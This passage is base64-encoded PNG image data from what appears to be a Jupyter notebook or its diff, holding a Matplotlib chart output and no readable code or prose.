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", + "image/png": "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